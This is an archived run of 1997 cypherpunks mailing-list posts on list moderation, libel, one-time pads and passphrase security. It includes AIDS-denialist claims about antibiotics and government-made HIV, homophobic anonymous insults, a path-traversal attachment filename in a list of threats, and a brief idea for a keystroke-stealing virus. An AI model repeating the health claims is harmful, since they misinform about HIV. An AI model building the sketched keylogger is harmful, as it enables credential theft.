From: Dale Thorn <dthorn@gte.net>
Date: Mon, 27 Jan 1997 07:27:23 -0800 (PST)
To: Daniel Harter <dharter@harter.pg.md.us>
Subject: Re: overview.htm (fwd)
In-Reply-To: <Pine.LNX.3.95.970127064959.1178B-100000@columbia.harter.pg.md.us>
Message-ID: <32ECC930.9EE@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Daniel Harter wrote:
> ichudov@algebra.com wrote:
> > Dale Thorn wrote:
> > > Dr.Dimitri Vulis KOTM wrote:

> > Why do they take antibiotics? Just curious.

> To treat various Venerial Diseases whose standard treatments are
> antibiotics.

> > Also, I haven't heard that antibiotics were bad for immune system,
> > has that been proven?

> What does seem to have credence is that the use of antibiotics breeds
> resistant strains of bacteria, which may or may not be contagious.

> A book that poses an opposing viewpoint to the current AIDS epidemic
> is _The AIDS War_ by John Lauritsen (1993, Asklepios, New York, ISBN
> 0-943742-08-0).  It is written from a Gay man's perspective dissenting
> from the current HIV-AIDS theory.  Another book he wrote is _Poison by
> Prescription: The AZT Story_.  Also search on Peter H. Duesberg for
> primary sources in various Journals.

According to my AIDS database, a possible reason for the "hotly
debated" theories of Duesberg is that because of the suspicion
falling on the govt. and the WHO in regard to creating the HIV
virus, the govt. was happy to have Duesberg and ilk deflecting
a lot of that criticism.  This doesn't make Duesberg wrong by
implication, but there were suggestions of disinformation....





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Daniel Harter <dharter@harter.pg.md.us>
Date: Mon, 27 Jan 1997 04:47:38 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: overview.htm (fwd)
In-Reply-To: <199701260655.WAA10146@toad.com>
Message-ID: <Pine.LNX.3.95.970127064959.1178B-100000@columbia.harter.pg.md.us>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com wrote:
> Dale Thorn wrote:
> > Dr.Dimitri Vulis KOTM wrote:
> > 
> > > > > Both homosexual males and IV drug users are well known to take a lot
> > > > > of antobiotics, which lowers the efficacy of the immune system enough
> > > > > to allow most anything to happen, ultimately leading to auto-immune
> > > > > problems.
> > 
> > > Jim and Dale, I agree.
> > > Also shooting one's bloodstream full of fecal matter hardly helps.
> > 
> > My point about the antibiotics is that the male gays take a dis-
> > proportionate amount of them, which compounds their problems.  It
> > suggests to me that the immune system is already seriously debilitated
> > or damaged before AIDS can take hold, rather than the notion that a
> > healthy person can get it from the virii alone.
> > 
> > One could argue that in the cases where the cures (antibiotics) add to
> > a person's problems by further corrupting their immune system, that
> > they should simply change their habits.  Since I don't see that as a
> > reasonable possibility, the only thing left is that the public should
> > be made aware of *all* of the relevant facts, even those which are
> > heavily suppressed now for PC reasons.
> 
> Why do they take antibiotics? Just curious.

To treat various Venerial Diseases whose standard treatments are
antibiotics. 

> Also, I haven't heard that antibiotics were bad for immune system, 
> has that been proven?

What does seem to have credence is that the use of antibiotics breeds
resistant strains of bacteria, which may or may not be contagious.

A book that poses an opposing viewpoint to the current AIDS epidemic
is _The AIDS War_ by John Lauritsen (1993, Asklepios, New York, ISBN
0-943742-08-0).  It is written from a Gay man's perspective dissenting
from the current HIV-AIDS theory.  Another book he wrote is _Poison by
Prescription: The AZT Story_.  Also search on Peter H. Duesberg for
primary sources in various Journals.

Dan Harter
dharter@harter.pg.md.us





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peterson, Mike" <petersom@hsd.k12.or.us>
Date: Mon, 27 Jan 1997 08:23:05 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: Posting percentages
Message-ID: <c=US%a=_%p=Hillsboro_School%l=HILLNET-EX2-970127162557Z-768@hillnet-ex2.hsd.k12.or.us>
MIME-Version: 1.0
Content-Type: text/plain


Dr. Dimitri Vulus KOTM wrote:

Rabid Wombat <wombat@mcfeely.bsfs.org> writes:

>> Regardless of which side you take on this matter, remember that the issue
>> was forced by the actions of an extremely small segment of the list
>> "population."
>The list "population" (readers) is a couple of thousand people, almost
>all of whom are lurkers. All posters are an extremely small segment of
>the readership. It's true on most Internet forums.

Just because us "lurkers" don't post, doesn't mean that we aren't taking
sides, agreeing, disagreeing, or otherwise. Small portions of the
population doesn't mean that the rest of us have no comment, just not
the will to make the post.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Mon, 27 Jan 1997 08:21:52 -0800 (PST)
To: dlv@bwalk.dm.com>
Subject: Re: Censorship
Message-ID: <199701271621.IAA17131@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain


On or About 26 Jan 97 at 22:28, Dr.Dimitri Vulis KOTM wrote:

> "Ross Wright" <rwright@adnetsol.com> writes:
> 
> > On or About 26 Jan 97 at 2:19, blanc wrote:
> >> > > >Igor Chudov @ home wrote:
> > > >>>Jim Choate wrote:
> > > >>>>>Dr.Dimitri Vulis KOTM wrote:
> > > >>>>>>>irrelevant@nowhere.com wrote:
> > > >>>>>>>>>>Dale Thorn wrote:
> > >
> > > It can be said 100,000 times, but it still comes out the same:
> > > Just as in "The only cure for bad speech is more speech", "the
> > > only cure for 'list-focus-drift' is more on-focus postings".
> >
> > THE PRICE OF FREE SPEECH IS TOLERANCE OF IDEAS THAT WE MAY
> > OBJECT TO.
> 
> Comversely, some people are willing to give up their own freedom of
> speech so as to silence others whose views they don't like. 

Who could be that stupid?  Why would they even want to give up an 
inch of their freedoms?

>They
> hope that they'll be censored less than their "enemies". 

A weak hope at best.  Once you start censoring it becomes a "Slippery 
Slope".

> But a forum
> can't be "a little bit censored" just like a woman can't be "a
> little bit pregnant".

You got that right!

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: 415-206-9906




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brian D Williams <talon57@well.com>
Date: Mon, 27 Jan 1997 09:01:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: overview.htm (fwd)
Message-ID: <199701271701.JAA25515@well.com>
MIME-Version: 1.0
Content-Type: text/plain



Toto <toto@sk.sympatico.ca> writes:

>  There has been great concern raised among those in the medical 
>profession regarding the end-effects of their wholesale
>prescribing of anitbiotics for colds, aches and pains, etc.,
>leading to the development of new strains of virus which are
>immune to the older antibiotics. This leads to development of
>stronger (misused) antibiotics, which then leads to stronger
>strains of virus.
>  There have been a number of studies which point to the fact that
>the human immune system is now caught in a battle between
>increasingly potent virus and antibiotics and is losing its
>capacity to fightits 'natural' enemies.

 Antibiotics are for fighting bacterial infections.

 Antibiotics have no effect on viruses at all.

 However you are accurate in that the abuse of antibiotics for
things like colds (a virus, no effect) has led us to a very
dangerous situation. (antibiotic resistant bacteria)

I suggest the book "The Coming Plague"  who's authors name escapes
me at the moment, if you, or anyone else is interested.

Brian
Cypherpunk
Extropian

" You can lead a horse to water, but you can't faucet."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 28 Jan 1997 00:32:00 -0800 (PST)
To: harka@nycmetro.com
Subject: Re: Passphrase Online...
In-Reply-To: <199701271426.GAA23780@toad.com>
Message-ID: <3.0.1.32.19970127091008.0063c918@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


>>If I am connected to the Internet via a SLIP/PPP connection and I
>>type my passphrase while being online (for example, in Private
>>Idaho, after getting my mail), could that passphrase be compromised?
>>If so, how would that be done?

You're much safer if you're using an operating system instead of a
kluge like Windows...  On the other hand, operating systems make it
easier to run applications like telnet servers that allow someone
else to connect to your system while you're on line.
Some different ways you could be at risk include
- someone sends you a keystroke-sniffer program and tricks your machine
into running it - so it grabs your passphrase from PI or PGP and
sends it in later
- someone sends you a keystroke-sniffer program and tricks _you_
into running it, whether they use email, web, etc.
- someone logs into your system, guesses that the root password is
"trustno1", and modifies your copy of PGP to save keystrokes.
(On MSDOS, of course, you don't _need_ a root password.)
- someone sets up a web page with an evil ActiveX script that
convinces your Internet Explorer to download a new copy of PGP.
- someone sends you email with an attachment named 
..\..\..\windows\pgp.exe and your mail system is dumb enough to accept 
the pathname.
- somebody sends you email with an MS-Word/Excel/PPT attachment that,
instead of having a dumb Concept macro virus, has a macro that
does something useful like replace your copy of PGP, and you don't
have any innoculation on your MS-Word.
- any of the above, where the "pgp" program is replaced with one that's
almost identical but uses non-random numbers instead of good randoms,
and maybe also leaks out your secret key or passphrase.
- any of the above, where your email program is modified to add
Cc: janet@kremvax.su on outgoing smtp.

> Still paranoid?  Good!


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Mon, 27 Jan 1997 09:33:04 -0800 (PST)
To: paul@fatmans.demon.co.uk
Subject: Re: Rejection policy of the Cypherpunks mailing list
In-Reply-To: <854378751.95282.0@fatmans.demon.co.uk>
Message-ID: <Pine.SUN.3.91.970127083809.2185G-100000@crl.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Sun, 26 Jan 1997 paul@fatmans.demon.co.uk wrote:

> You need have no sympathy. Those members of this list see it as it 
> is, a list that was supposed to be, in some small way, a "model" of 
> an anarchistic discussion forum for the subject of cryptography,...

Nonsense.  It was supposed to be a discussion of crypto and 
other technologies in support of privacy.  The founders, Hughes,
Gilmore, May and Daniel were focusing on that goal.  The list
structure was anarchistic (and still is to those who understand
the concept of anarco-capitalism).  Obviously Gilmore is not
wedded to the idea of letting every fool use his bandwidth.  In
personal discussions as recently as yesterday, Hughes had no
problem in supporting some mechanism to promote civility on the
list.  I don't think anything May has written would suggest he
would have a problem with keeping things polite.  His only 
argument seems to be over methodology.  He thinks filtering is
the answer; I don't.  Reasonable minds may differ.  Hugh Daniel
has been instrumental in providing technical help with regard to
moderation.  Finally, the fact that the vast majority of list
members have not seen fit to "vote with their feet" should 
suggest how most really feel about moderation.  (By the way, if
you don't like moderation, you would hate Eric Hughes' favored 
solution.)

> ...That was the intended direction of the list, it 
> has rapidly disentigrated over recent months into a censored list 
> where the elite post to the main list and anyone else is nearly 
> always relegated to a seperate list for the crypto-untermenshcen.

Again, nonsense.  The moderation experiment (moderation, not
censorship) has been in effect for all of ONE WEEK.  Where does 
Paul get this hysterical "recent months" stuff?  

> If you want to talk about intellectual dishonesty try the following:
> 
> Imagine if you will a list, the original purpose of which was
> to act as a free and open forum for discussion of cryptography and 
> related issues...

Paul's argument is the essence of literal conservativism,  "but 
I don't things to change!"  Without change, though, there can be 
no progress.  Moderation is a one-month experiment.  There is no
intellectual dishonesty in saying, "let's try something else for
a while."

> Now imagine that list falling into a state of content based 
> censorship and censorship based on an unspoken but ever present 
> class structure,...

"Unspoken but ever present class structure"?  I wonder how Paul
was able to divine this?  Certainly it is unspoken, but that, of 
course, it because it does not exist anywhere but in Paul's
fertile imagination.

> It is a foregone conclusion that the upper class of list members will 
> have no dispute over the censorship and therefore the change will be 
> permenant,...

Great!  I thought that hadn't been determined yet.  What a 
relief.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Osborne <osborne@gateway.grumman.com>
Date: Mon, 27 Jan 1997 06:58:52 -0800 (PST)
To: cypherpunks mailing list <cypherpunks@toad.com>
Subject: OTP security
Message-ID: <3.0.32.19970127095802.0093fa20@gateway.grumman.com>
MIME-Version: 1.0
Content-Type: text/plain


I was thinking about the thread we had a week or so ago about OTPs.  Say
I'm going to burn a CD of what I think are cryptographically random bits,
but somehow I end up with part of my stream being predictable (say every
16th bit).  What does this do to the security of my CD?
_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
Sam Jones <samjones@leo.unm.edu> on the Nine Types of User:
Shaman - "Last week, when the moon was full, the clouds were thick, and
formahaut was above the horizon, I typed f77, and lo, it did compile."
Advantages: Gives insight into primative mythology.
Disadvantages:  Few scons are anthropology majors.
Symptoms: Frequent questions about irrelavent objects.
Real Case: One user complained that all information on one of their disks
got erased (as Norton Utilities showed nothing but empty sectors, I
suspect nothing had ever been on it). Reasoning that the deleted
information went *somewhere*, they 	wouldn't shut up until the scon
checked four different disks for the missing information.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lou Poppler <lwp@mail.msen.com>
Date: Mon, 27 Jan 1997 08:49:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: Moderated list is missing headers
Message-ID: <Pine.BSI.3.92.970127113703.6769A-100000@conch.msen.com>
MIME-Version: 1.0
Content-Type: text/plain


The arguments about imaginary quotes and libel are harder to untangle
because the moderation process seems to consume the mail headers showing
the messages' travels before reaching toad.com.  I suggest that these
headers are signal not noise, and should be propagated if at all possible.
We have had problems in the past with forgeries, and should retain this
basic tool for evaluating a message's source.

<preemptive remarks>
I know I could get these from the unmoderated list -- but I prefer the
moderated version so far, and think they should be here also.
I know PGP signatures are a better way of authenticating a message.
</preemptive remarks>

---------- Forwarded message ----------
Received: from toad.com (toad.com [140.174.2.1]) by mail.msen.com (8.8.5/8.6.12) with ESMTP id KAA02344 for <lwp@mail.msen.com>; Mon, 27 Jan 1997 10:58:05 -0500 (EST)
Received: (from majordom@localhost) by toad.com (8.7.5/8.7.3) id GAA24082; Mon, 27 Jan 1997 06:41:04 -0800 (PST)
Message-Id: <199701271441.GAA24082@toad.com>
Date: Mon, 27 Jan 1997 04:33:05 -0800
From: Toto <toto@sk.sympatico.ca>
To: Jim Choate <ravage@EINSTEIN.ssz.com>
Cc: cypherpunks@toad.com
Subject: Re: Fantasy quotes & libel
Sender: owner-cypherpunks@toad.com
Precedence: bulk

[ message body irrelevant ]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kevin L Prigge <Kevin.L.Prigge-2@tc.umn.edu>
Date: Mon, 27 Jan 1997 10:04:35 -0800 (PST)
To: paul@fatmans.demon.co.uk
Subject: Re: Rejection policy of the Cypherpunks mailing list
In-Reply-To: <199701271643.IAA27438@toad.com>
Message-ID: <32ecee29303e002@noc.tc.umn.edu>
MIME-Version: 1.0
Content-Type: text/plain


paul@fatmans.demon.co.uk said:
> > I think both of these groups are intellectually dishonest in the
> > extreme when it comes to telling others how this list should be
> > run.  I doubt any of them would permit the sort of disruptive
> > behavior that goes on here to go unchallenged in salons they
> > sponsor in their own homes or on Net lists that they themselves 
> > maintain.
> 
> If you want to talk about intellectual dishonesty try the following:
> 
> Imagine if you will a list, the original purpose of which was
> to act as a free and open forum for discussion of cryptography and 
> related issues. A list which proudly proclaims in its "welcome to 
> the list" message:
> 
> We do not seek to prevent other people from
> speaking about their experiences or their opinions.
> 
> Now imagine that list falling into a state of content based 
> censorship and censorship based on an unspoken but ever present 
> class structure, then ask yourself which list you know that most 
> closely matches this description, it`s a pretty revealing exercise.

The exercise reveals to me that only by ignoring the first paragraph
of your example, the part that reads "Imagine if you will a list, 
the original purpose of which was to act as a free and open forum 
for discussion of cryptography and related issues." can you make
a claim of content based censorship. The purpose of this list was
and should be discussion of cryptography and related issues. The
fact that some people choose this as a forum for personal attacks
and blathering about issues that are not even vaguely related to
the discussion of cryptography and related issues does not make it
a proper forum for such communication.

> > This is a voluntary list folks.  We tried incivility and that did
> > not work.  Right now we are experimenting with reasoned discourse
> > in an atmosphere of interpersonal respect and good will. 
> 
> For "Reasoned discourse in an atmosphere of interpersonal respect and 
> good will" read "content based censorship".

For "voluntary list" read "voluntary list".

> 
> > If most list members like the change, it will continue.  If not, then we
> > can go back to the swill or perhaps try something else.  In the
> > meantime, get over it.  If you really like flames and spam, show
> > John and me how it really should be done.  Start another list.  
> > Of course squating and claim jumping appeal to the lazy a lot
> > more than homesteading.
> 
> It is a foregone conclusion that the upper class of list members will 
> have no dispute over the censorship and therefore the change will be 
> permenant, it is a form of online ethnic cleansing whereby the lists 
> clique of illuminati have taken it upon themselves to remove the 
> elements of the list they feel endanger their position of superiority 
> and respect, the point they have missed is that they have no 
> credibility whatsoever after this incident, as well as a number of 
> other such occurances and therefore are only isolating themselves 
> into their own little world.

The Big Lie once again. yadda yadda yadda "Censorship!" yadda yadda
yadda "No Credibility" yadda yadda yadda ad nauseum.

> 
> "cypherpunks will make the networks safe for censorship"

"Idiots will make the networks require censorship"

-- 
Kevin L. Prigge                     | Some mornings, it's just not worth
Systems Software Programmer         | chewing through the leather straps.
Internet Enterprise - OIT           | - Emo Phillips
University of Minnesota             |




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: camcc@abraxis.com (Alec)
Date: Mon, 27 Jan 1997 09:35:51 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: Privacy/info site
Message-ID: <3.0.32.19970127123706.00693d88@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/enriched

I stumbled upon this site and  have not had an opportunity to visit it in toto (certainly no pun intended, Mr. Toto). Seems to have a wealth of info and links for the military/security oriented.


http://hrvati.cronet.com/mprofaca/mcsusa2.html

Alec


From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc Weber <blancw@MICROSOFT.com>
Date: Mon, 27 Jan 1997 12:53:00 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: Rejection policy of the Cypherpunks mailing list
Message-ID: <c=US%a=_%p=msft%l=RED-81-MSG-970127205105Z-2978@INET-04-IMC.microsoft.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	Sandy Sandfort

(By the way, if you don't like moderation, you would hate Eric Hughes'
favored solution.)
...............................................


What was that?

   ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David Lesher / hated by RBOC's in 5 states" <wb8foz@wauug.erols.com>
Date: Mon, 27 Jan 1997 10:06:42 -0800 (PST)
To: minow@apple.com (Martin Minow)
Subject: Re: Xerox is watching you
In-Reply-To: <199701270555.VAA11234@toad.com>
Message-ID: <199701271806.NAA03727@wauug.erols.com>
MIME-Version: 1.0
Content-Type: text/plain


Martin Minow sez:
> 
> You'll find an article worth a visit to the dentist in the January
> 1997 issue of Popular Science. It tells a story from the 1960's
> cold war era.

You might take this to alt.folklore.urban. Barring any factual
support, it better fits there. After all Popular Science once had
their famous battery carrier design, and an older friend related
reading of their scheme to reduce the weight of battle tanks to get
them up the Burma Road during WWII. It involved helium, and to
reduce space, it was to be compressed into large cylinders bolted to
the sides........

-- 
A host is a host from coast to coast.................wb8foz@nrk.com
& no one will talk to a host that's close........[v].(301) 56-LINUX
Unless the host (that isn't close).........................pob 1433
is busy, hung or dead....................................20915-1433




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: SpyKing <spyking@thecodex.com>
Date: Mon, 27 Jan 1997 10:25:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: Best Computer School?
Message-ID: <199701271824.NAA02534@para.mne.net>
MIME-Version: 1.0
Content-Type: text/plain


This is a little off topic but maybe someone can help. I've got a teenage
son (HS sophomore) who's interested in majoring in computer science in
college with a particular interest in cryptography. He's leaning toward MIT.
Any suggestions from list members as to colleges to investigate? 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 27 Jan 1997 13:30:53 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Shave the Whales
Message-ID: <199701272130.NAA17058@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Disruptive Vasectomy died of AIDS last night with his
homosexual lover.

             \|/
             @ @
        -oOO-(_)-OOo- Dr.Disruptive Vasectomy






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Shaft <shaft@africamail.com>
Date: Mon, 27 Jan 1997 10:48:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: Passphrase Online...
Message-ID: <1.5.4.32.19970127184948.0069dd0c@pop3.afn.org>
MIME-Version: 1.0
Content-Type: text/plain



>>If I am connected to the Internet via a SLIP/PPP connection and I
>>type my passphrase while being online (for example, in Private
>>Idaho, after getting my mail), could that passphrase be compromised?
>>If so, how would that be done?

There are a number of things that can happen. Basically, if you don't
directly control the device/application that is doing the encryption for
you, you run the risk of someone intercepting whatever you xmit. For
example, if you have a dial up type shell account with your local ISP, and
you depend on some UNIX based encryption program to secure your mail
(running on the ISP's machine), anyone with root access can tap the tty and
watch you enter your passphrase. You're also susceptable (sp?) to someone
taping your phone line and looking at you with a packet analyzer. 

I suppose if you were doing something locally, and someone wanted to be
really sneaky, they could embed something like keycopy on your machine (with
a virus or something) and get coppied every time you enter a keystroke. I
don't suppose it would be all that difficult to get a machine to run a tsr
that got kicked off every time you accessed something like, say ,
PGP....Comments?

Shaft! Damn Straigt.

shaft@africamail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Mon, 27 Jan 1997 14:32:13 -0800 (PST)
To: Blanc Weber <blancw@MICROSOFT.com>
Subject: RE: Rejection policy of the Cypherpunks mailing list
In-Reply-To: <c=US%a=_%p=msft%l=RED-81-MSG-970127205105Z-2978@INET-04-IMC.microsoft.com>
Message-ID: <Pine.SUN.3.91.970127134838.16386C-100000@crl.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Mon, 27 Jan 1997, Blanc Weber wrote:

> From:	Sandy Sandfort
> 
> (By the way, if you don't like moderation, you would hate Eric Hughes'
> favored solution.)
> ...............................................
> 
> 
> What was that?

Eric, would like to require a deposit ($20 was the example he
gave) from subscriber/posters.  Non-subscribers would not be 
allowed to post.  Subscribers who voluntarily left the list, 
would get their deposit back.  Subscribers who flamed twice 
(every dog gets one bite) would be kicked off the list and their 
deposit would be forfeited (or perhaps turned over to the flame 
victim).


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ja94a08@tdi.itm.edu.my (iamme)
Date: Mon, 27 Jan 1997 00:49:19 -0800 (PST)
To: cypherpunks@toad.com
Subject: casio dialer
Message-ID: <199701270612.OAA00823@ss5-28.itm.edu.my>
MIME-Version: 1.0
Content-Type: text/plain


anyone heard of casio .. phone dialer watch ? it's stated that user can phone 
for free using public phone .. anyone ?




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Mon, 27 Jan 1997 14:17:52 -0800 (PST)
To: cypherpunks@toad.com>
Subject: Re: libsln.htm -- Is Libel a Crime?
Message-ID: <199701272217.OAA08800@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 01:14 AM 1/27/97 -0600, ichudov@algebra.com wrote:

>I am not sure if you posted this information in response to my request
>to cite a statute that would prove that libel is a crime.
>
>Me> Jim Choate wrote:
>Me> > 
>Me> > 
>Me> > 
>Me> > Are you aware that attributing statements in print to a party when that
>Me> > party did not write them is a crime?
>Me> 
>Me> cite the statute
>
>
>These postings do not prove that libel is a crime. It is because libel
>is not a crime. Libel is a tort, and unlike with crime, the government
>cannot initiate a legal action against someone for libel. Only injured
>(libeled) individuals and not the government can sue in a libel case.

On the contrary, in some jurisdictions libel is indeed a crime. However, 
that doesn't mean that prosecutions happen anymore, but the laws are (in 
some places) still  on the books.




Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Mon, 27 Jan 1997 12:43:18 -0800 (PST)
To: Kevin.L.Prigge-2@tc.umn.edu (Kevin L Prigge)
Subject: Re: Rejection policy of the Cypherpunks mailing list
In-Reply-To: <32ecee29303e002@noc.tc.umn.edu>
Message-ID: <199701272039.OAA05041@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Kevin L Prigge wrote:
> paul@fatmans.demon.co.uk said:
> > > I think both of these groups are intellectually dishonest in the
> > > extreme when it comes to telling others how this list should be
> > > run.  I doubt any of them would permit the sort of disruptive
> > > behavior that goes on here to go unchallenged in salons they
> > > sponsor in their own homes or on Net lists that they themselves 
> > > maintain.
> > 
> > If you want to talk about intellectual dishonesty try the following:
> > 
> > Imagine if you will a list, the original purpose of which was
> > to act as a free and open forum for discussion of cryptography and 
> > related issues. A list which proudly proclaims in its "welcome to 
> > the list" message:
> > 
> > We do not seek to prevent other people from
> > speaking about their experiences or their opinions.
> > 
> > Now imagine that list falling into a state of content based 
> > censorship and censorship based on an unspoken but ever present 
> > class structure, then ask yourself which list you know that most 
> > closely matches this description, it`s a pretty revealing exercise.
> 
> The exercise reveals to me that only by ignoring the first paragraph
> of your example, the part that reads "Imagine if you will a list, 
> the original purpose of which was to act as a free and open forum 
> for discussion of cryptography and related issues." can you make
> a claim of content based censorship. The purpose of this list was

Then why discussion of machine guns should be allowed here?

igor




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Erp <erp@digiforest.com>
Date: Mon, 27 Jan 1997 14:23:13 -0800 (PST)
To: John Shaft <shaft@africamail.com>
Subject: Re: Passphrase Online...
In-Reply-To: <199701271947.LAA03025@toad.com>
Message-ID: <Pine.LNX.3.95.970127152242.7173A-100000@digital.digiforest.com>
MIME-Version: 1.0
Content-Type: text/plain


> I suppose if you were doing something locally, and someone wanted to be
> really sneaky, they could embed something like keycopy on your machine (with
> a virus or something) and get coppied every time you enter a keystroke. I
> don't suppose it would be all that difficult to get a machine to run a tsr
> that got kicked off every time you accessed something like, say ,
> PGP....Comments?

Ok, just something that would be a nasty little virii in its own way...
If there was a virii produced that copied down a persons keystrokes every
time, and then when they logged onto the InterNet aka aachieved a PPP/Slip
connection, it automatically sent (without there knowing) a copy of all
the keystorkes they have made so far, and then deletes them from an
encrypted file, or from within a file it has been adding them too
*shrug*...
.. aka Automatically sends it to say an anonymous email account or some
such.

Ok *shrug*  jsut an idea...  later.....

Erp
***************************************************

Hey we have fun here at hell!  Check us out if your lucky:
http://www.fromhell.com/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Erp <erp@digiforest.com>
Date: Mon, 27 Jan 1997 14:50:01 -0800 (PST)
To: SpyKing <spyking@thecodex.com>
Subject: Re: Best Computer School?
In-Reply-To: <199701271941.LAA02719@toad.com>
Message-ID: <Pine.LNX.3.95.970127154632.7501A-100000@digital.digiforest.com>
MIME-Version: 1.0
Content-Type: text/plain





On Mon, 27 Jan 1997, SpyKing wrote:

> This is a little off topic but maybe someone can help. I've got a teenage
> son (HS sophomore) who's interested in majoring in computer science in
> college with a particular interest in cryptography. He's leaning toward MIT.
> Any suggestions from list members as to colleges to investigate? 

Well in reference to MIT..  I hope he has a 4.0 in highschool, is an
allsport, has a 1600 on his SAT's, and a prefect on his ACT..  Just to
even think about going there..  Let alone to include how well he'll have
to do on his interviews etc..  Also you may wish to have him look again at
what he wants to be before he goes to some major college such as MIT,
because tuition at MIT costs approx 100,000$/4 years.  Personally that is
a hell of a lot, but then again *shrug*...  I recommend going to a local
small college, get his associates, see if that is what he still wants to
do, then go on from there.  I know many people that started in Computer
Science and died after the first year.  
Now colleges that are good for Computer Sc ience..  I have heard that RIT
is good..  but I'm nto sure on that..  I know pretty well positive that
MIT is excellent, but when you get down to the basics MIT is more of an
engineering school than a science/philosophical school which Computer
Sciences falls under..  Another good school from what I've heard is UCLA..
then again you can discredit anything I've said, because I'm still a
HighSchool senior myself and have been looking into Computer Criminology
for the last three years, and I'm positive it is what i want so *shrug*..

Ok later...

Erp


**********************************************************8

See about coming from hell at:  http://www.fromhell.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 27 Jan 1997 15:56:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Senator Exon
Message-ID: <199701272355.PAA28597@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dopefiend Viscera K'ock`OfTheMinute is a pimply dweeb sitting
at a computer chortling at his own imagined cleverness.

             \|/
             @ @
        -oOO-(_)-OOo- Dr.Dopefiend Viscera K'ock`OfTheMinute






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: babeview@ntview.com
Date: Mon, 27 Jan 1997 17:22:20 -0800 (PST)
Subject: No Subject
Message-ID: <199701272215.QAA28200@hermes.ntview.com>
MIME-Version: 1.0
Content-Type: text/plain






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 27 Jan 1997 16:17:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Lucifer
Message-ID: <199701280017.QAA04432@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Dimitri Vinyl K{rap} Of The Moment styles his facial hair to
look more like pubic hair.

 v-v-v-@@-v-v-v
      (..)     Dimitri Vinyl K{rap} Of The Moment






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
